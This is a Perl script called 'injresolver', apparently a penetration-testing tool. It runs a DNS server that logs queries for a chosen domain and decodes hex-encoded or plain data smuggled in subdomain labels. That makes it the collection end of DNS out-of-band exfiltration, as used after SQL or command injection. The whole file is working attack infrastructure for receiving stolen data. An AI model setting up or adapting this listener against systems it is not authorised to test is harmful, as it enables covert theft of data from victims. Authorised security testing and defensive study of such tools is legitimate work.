#!/usr/bin/perl 
 
use Net::DNS::Nameserver;
use strict;
use warnings;
use vars qw/ %opt /;

# auto flush buffers
$| = 1;

# domain to use as filter
my $domain;

my $script_name = "injresolver";
my $script_version = "v0.1";
my $script_author = "patrik\@cqure.net";

# converts hex-string to characters eg. "41" => A
sub hex_to_ascii ($) {
    (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
    return "" if ord($str) == 0x0d;
    return $str;
}

# prints a hex string
sub print_hexstr {
    my ($hexstr) = @_;

    for( my $i = 0; $i < length( $hexstr ); $i += 2 ) {
	print hex_to_ascii substr($hexstr,$i,2); 
    }
}

# handle DNS queries and send apropriate replies
sub reply_handler {
    my ($qname, $qclass, $qtype, $peerhost) = @_;
    my ($rcode, @dotarray, @ans, @auth, @add);
    my ($data);

# in the future maybe ...
#    my ($chunkid, $partno, $total, %chunks);

    if ($qtype eq "A" ) {
	my ($ttl, $rdata) = (10, "127.0.0.1" );
	push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");

	if ( !$opt{a} && 1!= $qname =~ /$domain/ ) {
	    $rcode = "NOERROR";
	    
	    # mark the answer as authoritive (by setting the 'aa' flag
	    return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
	}

	print "query: " . $qname . "\n" if $opt{v};

	if ( $qname =~ /^0x(.+)-(\d+)-(\d+)_(\d+).$domain/ ) {
	    $data = $1;
	    $data =~ s/\.//g;
	    print_hexstr $data;
	}
	elsif ( $qname =~ /^(.+)\.$domain/ ) {
	    print "data : " if $opt{v};
	    $data = $1;
	    # remove leading anti-cache data
	    $data =~ s/^\d+-//;
	    print "$data\n";
	}
	else {
	    print "$qname\n";
	}

	$rcode = "NOERROR";
    }
	 
    # mark the answer as authoritive (by setting the 'aa' flag
    return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

sub usage() {

    print STDERR << "EOF";

$script_name $script_version by $script_author
------------------------------------
usage: $0 -q <domain> [options]

options
-h        : this (help) message
-a        : show all queries
-q        : domain
-v        : verbose output
-d        : debug
-p        : port (default 53)
EOF
    exit;
}

sub init() {
    use Getopt::Std;
    my $opt_string = 'haq:vdp:';
    getopts( "$opt_string", \%opt ) or usage();
    usage() if $opt{h};
    usage() if !$opt{q};
}

init();

my $port = $opt{p};
$domain = $opt{q};

if ( !$port ) { $port = 53 } 

my $ns = Net::DNS::Nameserver->new(
				   LocalPort    => $port,
				   ReplyHandler => \&reply_handler,
				   Verbose      => 0,
				   ) || die "couldn't create nameserver object\n";


print "Starting $script_name on port $port with filter \"$domain\" ...\n";
$ns->main_loop;


